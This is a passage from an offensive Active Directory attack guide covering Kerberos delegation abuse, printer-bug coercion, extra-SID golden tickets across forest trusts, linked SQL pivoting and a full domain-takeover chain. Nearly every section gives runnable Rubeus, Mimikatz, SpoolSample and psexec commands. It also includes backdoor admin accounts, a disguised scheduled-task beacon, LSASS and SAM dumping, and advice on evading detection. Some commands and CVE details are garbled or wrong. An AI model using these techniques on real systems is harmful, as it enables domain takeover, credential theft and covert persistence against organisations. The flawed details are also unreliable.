# Alternative: Grant WriteProperty on the member attribute
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "attacker_user" -Rights WriteProperty -Property "member"
Why: WriteDACL is a persistence mechanism—it lets you grant yourself permanent access even if your current compromise is discovered and removed.
Kerberos Delegation
Unconstrained Delegation
Unconstrained delegation allows a service to request a Kerberos ticket to any resource on behalf of a user who authenticates to it. When a user sends a TGS request to an unconstrained delegation service, the user's TGT is embedded in the service ticket (in the FORWARDABLE field). If the attacker compromises the service, they can extract this TGT and impersonate the user to any Kerberos service. This is extremely powerful if a Domain Admin authenticates to a compromised unconstrained delegation service.
Exploitation:
# Find unconstrained delegation services
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# Compromise the unconstrained delegation service (SYSTEM level access)
# Run as SYSTEM to collect TGTs
# Using Rubeus (requires admin on the target service):
Rubeus.exe monitor /interval:5 /filteruser:ADMIN /targetuser:ADMIN
# If a DA connects, their TGT appears in output; save it
# Then use it for impersonation:
Rubeus.exe ptt /ticket:[base64_TGT]
Why: Unconstrained delegation is a waiting game—compromise a service and wait for high-privilege users to authenticate. One DA connection gets you domain admin. The TGT embedded in service tickets is the direct key to the kingdom.
I Am a Domain Controller (RBCD Printer Bug)
The printer bug (CVE-2019-1040 / CVE-2019-1166) exploits the RPC interface RpcRemoteFindFirstPrinterChangeNotification on print spoolers. When triggered, the print spooler initiates a connection back to the attacker's machine, sending its own computer account credentials via NTLM or Kerberos. By coercing a Domain Controller's print spooler to authenticate, an attacker can capture its TGT and use Resource-Based Constrained Delegation (RBCD) to escalate to Domain Admin.
Exploitation:
# Use SpoolSample.exe to trigger printer bug on DC
# First set up RBCD on target service pointing to DC
Set-ADComputer -Identity "TARGET_SERVICE" -PrincipalsAllowedToDelegateTo "DC$"
# Trigger DC to authenticate back (requires network access to DC port 445)
SpoolSample.exe DC$ ATTACKER_IP
# Capture the DC's TGT and use it
Rubeus.exe s4u /user:DC$ /ticket:[captured_TGT] /msdsspn:krbtgt/DOMAIN /impersonateuser:ADMIN /ptt
Why: Coercing the DC itself gives you a TGT from the most privileged account in the domain, making RBCD devastatingly effective.
Constrained Delegation
Constrained delegation restricts a service to request tickets only to specific target services listed in the msDS-AllowedToDelegateTo attribute. While more restrictive than unconstrained delegation, it still allows privilege escalation if the service can delegate to sensitive resources (like krbtgt or a Domain Admin's computer). An attacker with a service account with constrained delegation can use S4U2Self and S4U2Proxy to impersonate any user to the allowed resource.
Exploitation:
# Find constrained delegation services
Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_."msDS-AllowedToDelegateTo" -ne $null}
# Compromise the service account (obtain its password/hash)
# Use Rubeus to abuse S4U2Self and S4U2Proxy
Rubeus.exe s4u /user:compromised_service$ /rc4:HASH /impersonateuser:ADMIN /msdsspn:ALLOWED_TARGET /ptt
# Ticket is created and injected into current session
# Use resulting ticket to access the delegated service
Why: Constrained delegation is exploitable because S4U2Self doesn't check if the service legitimately needs to delegate—it trusts the service account to make the decision. Abuse the same mechanism the legitimate feature uses.
Resource-Based Constrained Delegation (RBCD)
RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) moves the trust relationship to the resource being accessed rather than the service making the request. A computer account can specify which principals are allowed to delegate to it. If an attacker can write to this attribute on a target, they can grant their own compromised service account delegation rights, then use S4U2Self and S4U2Proxy. This bypasses the need to compromise a service with pre-configured delegation and is especially dangerous because many admin accounts don't filter which machines can delegate to them.
Exploitation:
# If you have WriteDACL on a target computer (e.g., via AD permission abuse)
# First obtain a service account you control (or create one with sufficient permissions)
# Use PowerMad or similar to add RBCD right on target
Set-ADComputer -Identity "TARGET_COMPUTER" -PrincipalsAllowedToDelegateTo "CONTROLLED_SERVICE$"
# Alternatively, direct LDAP modification:
# Write to msDS-AllowedToActOnBehalfOfOtherIdentity with your service account SID
# Then use Rubeus:
Rubeus.exe s4u /user:CONTROLLED_SERVICE$ /rc4:HASH /impersonateuser:ADMIN /msdsspn:cifs/TARGET_COMPUTER.DOMAIN /ptt
# Access the target via the delegated ticket
dir \\TARGET_COMPUTER\c$
Why: RBCD combined with AD permission abuse creates a two-stage attack: abuse WriteDACL on a target computer, then grant yourself RBCD rights, then impersonate an admin. The DA likely never compromises your initial foothold account, and you maintain access via the ticket even if passwords change.
Active Directory Forest Theory
Active Directory Trust in a Forest
A forest is a collection of domains sharing a common schema, configuration, and Global Catalog. Domains in a forest automatically have two-way transitive trusts via the forest root. If a user in Domain A is in a group that grants permissions in Domain B, their access is recognized due to transitive trust. Transitive trusts can be exploited for lateral movement across the entire forest if not properly restricted. Trust relationships are the connectivity graph for lateral movement in multi-domain environments.
Key concepts:
- Transitive trust: Domain A trusts Domain B, Domain B trusts Domain C → Domain A trusts Domain C
- SID filtering: Restricts foreign SIDs in tickets to prevent privilege escalation across trusts (enabled by default for external trusts, not for within-forest trusts)
- Forest root: The first domain created; all other domains trust it
Why: Understanding forest trust topology reveals paths to compromise the entire forest through single entry points. Within-forest trusts lack SID filtering, making extra-SID attacks viable.
Enumeration in the Forest
Multi-domain forests require enumerating trusts, trust direction, and cross-domain group memberships to identify lateral movement paths. Tools like nltest and Get-DomainTrust map the trust topology. User enumeration across domains reveals DA-like accounts in other domains or service accounts with sensitive delegations. The goal is finding weak links: accounts with excessive permissions, delegation abuse possibilities, or accounts trusted across domains.
Enumeration:
# Map forest trust relationships
Get-DomainTrust -Domain DOMAIN.com
# Enumerate foreign group memberships (users from other domains with local permissions)
Get-DomainForeignGroupMember -Domain DOMAIN.com
# Find cross-domain group memberships
Get-DomainGroupMember -Identity "DOMAIN\Domain Admins" -Recurse | Where-Object {$_.MemberDomain -ne "DOMAIN.com"}
# Find users with cross-domain logon rights
Get-DomainUser -Filter * | Get-ObjectAcl | Where-Object {$_.ObjectDN -like "*cn=default domain controller policy*"}
# Use nltest for quick trust enumeration
nltest /domain_trusts
nltest /trust_status /v
Why: Each trust relationship is a potential bridge into other domains. Enumerating them maps your targets and reveals which compromises are worth pursuing for maximum impact.
Burning Down the Forest
Owning the Forest with Extra SIDs
The Extra SIDs field in a Kerberos ticket contains SIDs of groups a user belongs to. Within-forest trusts do NOT filter these SIDs—they trust the issuing DC implicitly. An attacker with a Domain Admin's ticket can forge a new ticket adding the forest root's Enterprise Admins SID to the Extra SIDs field. When presented to any domain in the forest, the ticket grants Enterprise Admin privileges. This is called a Golden Ticket escalation or extra-SID attack. It requires only compromising a single domain's DA account.
Exploitation:
# First, obtain domain admin credentials or hash
# Run Mimikatz to extract krbtgt hash from current DC
lsadump::dcsync /user:DOMAIN\krbtgt
# Run Mimikatz as admin to create a golden ticket with forest root Enterprise Admins SID
kerberos::golden /user:fakeadmin /domain:DOMAIN.com /sid:S-1-5-21-DOMAIN_SID /krbtgt:KRBTGT_HASH /sids:S-1-5-21-FOREST_ROOT_SID-519 /ticket:ticket.kirbi
# The 519 RID is Enterprise Admins in the forest root
# Inject the ticket:
kerberos::ppt /ticket:ticket.kirbi
# Access any resource in the forest as Enterprise Admin
Why: Extra-SID attacks work because the trust relationship assumes DCs properly validate tickets—they don't check if the SIDs are actually valid for the user. You're forging a ticket the DC will accept without verification.
Owning the Forest with Printers
The printer bug combined with unconstrained delegation on DCs (or RBCD) allows compromising the entire forest. If the DC print spooler can be coerced to authenticate to an attacker's machine running an unconstrained delegation service, the attacker captures the DC's TGT. Using this TGT, the attacker impersonates the DC to any Kerberos service, including dumping the krbtgt hash or escalating to Enterprise Admins. This bypasses the need to crack passwords or find other attack chains.
Exploitation:
# On attacker machine with unconstrained delegation (or RBCD setup):
# First set up a listener or honey pot
# Trigger printer bug on DC
SpoolSample.exe DC.DOMAIN.com ATTACKER_IP
# DC's print spooler connects back; capture the TGT with Rubeus
Rubeus.exe monitor /interval:5
# Retrieve TGT and use it
Rubeus.exe ptt /ticket:[DC_TGT]
# Now access DC or request krbtgt hash
lsadump::dcsync /user:DOMAIN\krbtgt
Why: Printers are ubiquitous in enterprise networks and rarely secured. The bug coerces an authenticated connection without user interaction, making it a reliable post-compromise lateral movement technique.
Going Beyond the Forest
Active Directory Trust Between Forests
External trusts connect forests, allowing users from one forest to authenticate to resources in another. These trusts have SID filtering enabled by default, preventing users from one forest appearing with high-privilege SIDs in another forest. However, trusts can be misconfigured (SID filtering disabled) or bypassed through alternative methods. Forest trust enumeration reveals trust direction and filtering status. Compromising a resource in the trusting forest with access to a trusted forest can pivot across the trust boundary.
Trust types:
- One-way trust: Forest A trusts Forest B (B users can auth to A)
- Two-way trust: Mutual authentication across forests
- Transitive trust: Between forests, only if explicitly configured (not default)
Enumeration:
# Enumerate forest trusts from current domain
Get-DomainTrust -Domain DOMAIN.com | Where-Object {$_.TrustDirection -match "Inbound|Outbound"}
# Check if SID filtering is enabled
Get-DomainTrust -Domain DOMAIN.com | Select-Object SourceName,TargetName,TrustAttributes
# tlntrust attribute values:
# 0x00000001 = transitive
# 0x00000008 = intra-forest
# 0x00000010 = external trust
# 0x00000020 = forest trust
# 0x00000001 in forest trust = transitive
Why: Forest trusts are organization-level connections. If misconfigured or if a resource in the trusting forest is compromised, it becomes a pivot point to compromise the entire trusted forest.
Enumeration Beyond the Forest
Enumerating across forest trusts requires gaining access from the trusting forest's perspective. Once a foothold exists in a resource with cross-forest access, enumerate users, groups, and permissions in the trusted forest. Domain users and Enterprise Admins in a trusted forest may have permissions on resources in the trusting forest. The goal is identifying whether trust filtering is effective or if privilege escalation paths cross the boundary.
Cross-forest enumeration:
# From compromised system in Forest A, enumerate Forest B users
Get-DomainUser -Domain FOREST_B.com -Server DC_IN_FOREST_B
# Enumerate forest B domain admins
Get-DomainGroupMember -Domain FOREST_B.com -Identity "Domain Admins"
# Check for cross-forest trust abuse via linked SQL servers
Get-DomainComputer -Filter * -Properties linkedServiceAccountName | Where-Object {$_.linkedServiceAccountName -match "FOREST_B"}
# Identify trusts allowing password hash / ticket pass-through
nltest /domain_trusts /all_trusts /v
Why: Cross-forest enumeration reveals whether the trust boundary is exploitable and whether sensitive accounts in the other forest have permissions in your current forest.
Compromising Additional Forest
Show Me Your Extra SID
If an external trust exists without proper SID filtering, an attacker with a DA in the trusting forest can add foreign Enterprise Admin SIDs from the trusted forest to their golden ticket. When the ticket is used against a resource in the trusted forest, the DC treats the foreign Enterprise Admin SID as valid. This grants cross-forest privilege escalation without separately compromising the trusted forest. Requires identifying the forest root SID of the target forest and confirming SID filtering is disabled.
Exploitation:
# Identify forest root SID of trusted forest
nltest /trusted_domains /v
# Extract forest root SID: S-1-5-21-TRUSTED_FOREST_SID
# Create golden ticket with enterprise admins SID from trusted forest
kerberos::golden /user:fakeadmin /domain:DOMAIN.com /sid:S-1-5-21-CURRENT_DOMAIN_SID /krbtgt:KRBTGT_HASH /sids:S-1-5-21-TRUSTED_FOREST_SID-519 /ticket:ticket.kirbi
# Inject and access trusted forest resources
kerberos::ppt /ticket:ticket.kirbi
dir \\TRUSTED_FOREST_DC\c$
Why: SID filtering is the only real defense against cross-forest extra-SID attacks. Without it, a single DA compromise in one forest compromises the entire trusted forest.
Linked SQL Servers in the Forest
SQL Servers in one domain can be linked to SQL Servers in other domains or forests via Linked Server functionality. These links often use credentials (service accounts) stored in the SQL instance to authenticate to remote servers. An attacker with access to a SQL Server can enumerate linked servers, request credentials, and use them to pivot to servers in other domains or forests. SQL Server Extended Stored Procedures (xp_cmdshell) allow remote command execution, making linked SQL servers a direct lateral movement tool.
Exploitation:
# Connect to compromised SQL Server (if you have credentials or exec access)
# Enumerate linked servers
SELECT * FROM master.sys.servers WHERE is_linked = 1
# Enumerate credentials used by linked servers
EXEC master.dbo.sp_helplinkedsrvlogin
# Query a linked server to verify access
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@servername')
# If xp_cmdshell is enabled, execute commands on linked server
EXEC ('xp_cmdshell "whoami"') AT [LINKED_SERVER]
# Pivot to other linked servers in the chain
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT * FROM master.sys.servers WHERE is_linked = 1')
Why: Linked SQL Servers are often forgotten in security reviews because they appear as internal connectivity rather than a trust relationship. They're bidirectional and often stored with plaintext or easily reversible credentials, making them a high-value pivot point across domain and forest boundaries.
Chapter 17: Combining the Pieces
Enumeration and Shell
Initial Enumeration
Begin by passively determining the domain structure, identifying key targets, and understanding the access level of the initial foothold. This includes discovering the domain name, forest structure, user base, computer systems, and trust relationships. Avoid noisy scans; use living-off-the-land techniques and existing AD queries. Identify high-value targets (Domain Admins, Enterprise Admins, service accounts with delegation rights, SQL Servers) and lower-privilege users or service accounts that might be compromise vectors. The goal is mapping the attack surface before attempting privilege escalation.
Initial enumeration commands:
# Get current domain and forest info
Get-Domain
Get-Forest
Get-DomainSID
# Enumerate Domain Admins and Enterprise Admins
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainGroupMember -Identity "Enterprise Admins" -Recurse
# Find service accounts and users with delegation rights
Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
# Enumerate computers and identify key systems
Get-DomainComputer -Filter * -Properties OperatingSystem | Group-Object OperatingSystem
# Check for web servers, SQL servers, file servers
Get-DomainComputer -Filter {OperatingSystem -like "*Server*"}
Why: Enumeration without action prevents IDS/EDR detection. You're building a target list and understanding the landscape before making suspicious moves.
Gaining an Initial Foothold
Initial foothold can be obtained through multiple vectors: weak credentials (password reuse, default passwords, weak password policies), phishing, exploiting public-facing vulnerabilities, or compromising third-party software. Once a shell is obtained (regardless of privilege level), stabilize the access and begin privilege escalation. Foothold accounts are often low-privilege users, service accounts, or compromised computers. The key is having persistent, reliable access from which to enumerate and escalate. Avoid noisy behavior on the foothold machine until you fully understand the environment.
Foothold stabilization:
# Add a backdoor user (persistent access if original foothold is burned)
net user hacker Password123! /add
net localgroup administrators hacker /add
# Or add persistence via scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\temp\beacon.exe" /sc minute /mo 5
# Dump LSASS for cached credentials (if admin)
# Use Mimikatz or SharpKiller
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Enumerate current user's access to network shares and resources
net view
net use
whoami /priv
Why: Initial foothold is fragile. You need persistence and credential material before moving aggressively. Once you have both, the actual privilege escalation becomes tactical rather than desperate.
Post Exploitation Enumeration
After gaining a foothold, perform deeper enumeration to identify the specific privilege escalation path. This includes finding users with weak credentials, service accounts with stored passwords, unpatched systems, misconfigurations in AD permissions, delegation opportunities, or stored credentials in files/registry. Use tools like SharpHound (BloodHound collector) to map the entire AD structure and identify shortest paths to Domain Admin. Determine whether the initial foothold account has any special permissions, group memberships, or token access that immediately unlocks an escalation path.
Post-exploitation enumeration:
# Run SharpHound for BloodHound analysis (requires execution rights)
SharpHound.exe -c All -d DOMAIN.com
# Check for stored credentials in common locations
findstr /S /I password "C:\Program Files\*\config.xml"
dir "C:\Users\*\AppData\Local\*" /s /b | findstr /I password
# Enumerate AD permissions on current user's groups
Get-ObjectAcl -Identity "DOMAIN\Domain Admins" | Where-Object {$_.SecurityIdentifier -match (whoami /user /fo csv | ConvertFrom-Csv | Select-Object -ExpandProperty SID)}
# Check for Kerberoastable and ASREProastable users
Get-DomainUser -PreauthNotRequired
Get-DomainUser -SPN | Select-Object serviceprincipalname
# Identify weak password policies
Get-DomainPasswordPolicy
Why: Post-exploitation enumeration reveals the fastest path to DA. Instead of trying random escalation techniques, you target the specific misconfigurations and weak points in your environment.
Attacking Delegation
Privilege Escalation
Privilege escalation in a domain environment typically targets delegation abuse, permission misconfigurations, or cached credentials. The most direct path is finding a user or service account with delegation rights (unconstrained or constrained) or AD permissions (WriteDACL, GenericAll) over high-privilege accounts. If the target account is a service account, compromise it via Kerberoasting, ASREProasting, or cleartext credentials in files. Once compromised, use the service account's delegation rights to impersonate a Domain Admin and obtain their TGT or session key.
Privilege escalation techniques:
# Kerberoasting: Find SPNs and request tickets
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Rubeus.exe kerberoast /user:service_account
# ASREProasting: Find users without Kerberos preauth
Get-DomainUser -PreauthNotRequired
Rubeus.exe asreproast
# Find unconstrained or constrained delegation targets
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_."msDS-AllowedToDelegateTo" -ne $null}
# If you have a service account, use S4U2Self and S4U2Proxy
Rubeus.exe s4u /user:service_account$ /rc4:HASH /impersonateuser:admin /msdsspn:cifs/target /ptt
Why: Delegation and permission misconfigurations are the most common paths to DA because they're often set up for legitimate functionality but grant more access than needed. They also don't require cracking passwords—just exploiting intended features.
Getting the Hash
Once a target service account or user is identified, obtain their password hash or credentials. For service accounts, this is often done via Kerberoasting (requesting encrypted tickets that can be cracked offline) or ASREProasting (if preauth is disabled). For other accounts, credentials may be found in files, registry, memory (Mimikatz), or obtained via phishing. The hash is the key to using delegation techniques without needing plaintext passwords.
Hash extraction methods:
# Kerberoasting and ticket cracking
GetUserSPNs.py -dc-ip DC_IP domain.com/user:password
hashcat -m 13100 hash.txt rockyou.txt
# ASREProasting
Rubeus.exe asreproast
john --format=krb5asrep hash.txt
# Dumping LSASS (requires SYSTEM or admin)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Or use SharpKiller, Dumpert, Nanodump
# Dumping SAM (SYSTEM access)
reg save HKLM\sam sam.hive
reg save HKLM\system system.hive
# Extract offline with hashcat
# Finding stored credentials
Get-Credential | Export-CliXml credential.xml
# Read back: Import-CliXml credential.xml
# Check for cleartext passwords in common locations
findstr /S /I password "C:\Program Files\*\config.txt"
Get-Content "C:\Users\*\AppData\Local\Temp\*" | findstr /I password
Why: The hash is the skeleton key to delegation attacks. Without it, you can't impersonate users via Kerberos tickets. With it, you can forge tickets and escalate without alerting the original user.
Delegate My Ticket
Once you have a service account's hash and confirmation of its delegation rights (unconstrained or constrained), use Rubeus or similar tools to request a TGT for the service account, then use S4U2Self and S4U2Proxy to request a service ticket for a high-privilege user (like Domain Admin) to a target service. This ticket can be injected into the current session and used to access the target resource as if you're the DA. The attack is silent and doesn't leave traces on the DA's account.
Delegation attack:
# Request TGT for compromised service account
Rubeus.exe asktgt /user:service_account$ /rc4:HASH /domain:DOMAIN.com /outfile:tgt.kirbi
# Use S4U2Self to impersonate an admin user
Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:admin /msdsspn:cifs/target_computer.domain.com /outfile:s4u.kirbi
# Inject the forged ticket into current session
Rubeus.exe ptt /ticket:s4u.kirbi
# Access the target resource as the impersonated admin
dir \\target_computer\c$
Why: S4U2 extensions are legitimate Kerberos features designed for service-to-service impersonation. Attackers abuse them because they're trusted by the DC and don't require the DA to authenticate—the DC just grants the ticket based on the service account's delegation rights.
Owning the Domain
Lateral Movement
Lateral movement is the process of moving from your initial foothold to high-value targets (file servers, SQL servers, Domain Controllers) to gain credentials, sensitive data, or access to the DA account. Methods include: using obtained credentials to authenticate to systems, exploiting trust relationships between computers, abusing delegation rights, leveraging PtH (Pass-the-Hash), or pivoting through compromised service accounts. The key is maintaining stealth—avoid noisy network traffic or actions that trigger alerts. Use legitimate tools and features (net use, psexec, RDP) where possible to blend in with normal admin activity.
Lateral movement techniques:
# Use obtained credentials
net use \\target_computer /user:DOMAIN\username password
dir \\target_computer\c$
# PtH with compromised hash (requires admin or specific tools)
mimikatz.exe "sekurlsa::pth /user:admin /domain:DOMAIN.com /ntlm:HASH /run:powershell.exe"
# PsExec with credentials
psexec.exe \\target_computer -u DOMAIN\username -p password cmd.exe
# Lateral movement via WMI (if you have credentials and WMI access)
Invoke-WmiMethod -ComputerName target_computer -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > c:\temp\proof.txt"
# Use obtained tickets for Kerberos-based access
klist /new kerberos
Rubeus.exe ptt /ticket:ticket.kirbi
Why: Lateral movement is where you convert initial access into domain control. Each system you compromise can yield new credentials or access paths, progressively expanding your reach until you control a system where a DA has logged in or a DC is accessible.
Becoming Domain Admin
The final step is obtaining full domain admin privileges. This is typically done by dumping the krbtgt hash from a Domain Controller (using dcsync or directly from LSASS if the DC is compromised) and creating a golden ticket with the DA's SID. Alternatively, if you have unconstrained delegation on a DC or access to a system where a DA regularly authenticates, capture their TGT and use it directly. Once you hold the krbtgt hash, you're persistent in the domain regardless of password changes—any golden ticket you create is valid until the krbtgt hash is reset.
Becoming Domain Admin:
# Compromise a DC (via lateral movement, exploitation, or physical access)
# Option 1: Dump krbtgt hash via dcsync
mimikatz.exe "lsadump::dcsync /user:DOMAIN\krbtgt" exit
# Option 2: Dump from DC LSASS directly
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Create golden ticket with krbtgt hash
kerberos::golden /user:fakeadmin /domain:DOMAIN.com /sid:S-1-5-21-DOMAIN_SID /krbtgt:KRBTGT_HASH /ticket:golden.kirbi
# Inject golden ticket
kerberos::ppt /ticket:golden.kirbi
# Verify domain admin access
dir \\DC\c$
whoami /groups # Should show Domain Admins, Enterprise Admins
# Alternative: If you have unconstrained delegation on a DC
# Wait for a DA to authenticate or force a coerced authentication
Rubeus.exe monitor /interval:5 /targetuser:ADMIN
# Once DA TGT is captured, use it directly
Rubeus.exe ptt /ticket:[DA_TGT]
Why: The krbtgt hash is the master key to the domain. It's not your real credentials—it's the key the DC uses to validate all tickets. Once you have it, you can create tickets for any user, with any permissions, for any duration. You're effectively the domain now.
Attack Synthesis Summary
A complete attack chain typically follows this pattern:
- Gain Initial Foothold: Via phishing, exploitation, weak credentials, or third-party compromise.
- Enumerate: Identify the domain structure, high-value targets, and available escalation paths using AD queries and BloodHound.
- Escalate Privileges: Target the weakest link—a service account with delegation rights, a user with AD permission abuse, or a Kerberoastable account.
- Obtain Credentials: Extract the hash via Kerberoasting, memory dumps, or stored credentials.
- Lateral Movement: Use obtained credentials or delegation tickets to move toward Domain Controllers and high-privilege accounts.
- Compromise DC: Dump the krbtgt hash or capture a DA's TGT.
- Persistence: Create golden tickets for permanent access or add backdoor accounts.
Each step builds on the previous one. The entire attack is silent if executed properly—no brute force, no obvious privilege escalation, just exploitation of legitimate features and misconfigurations.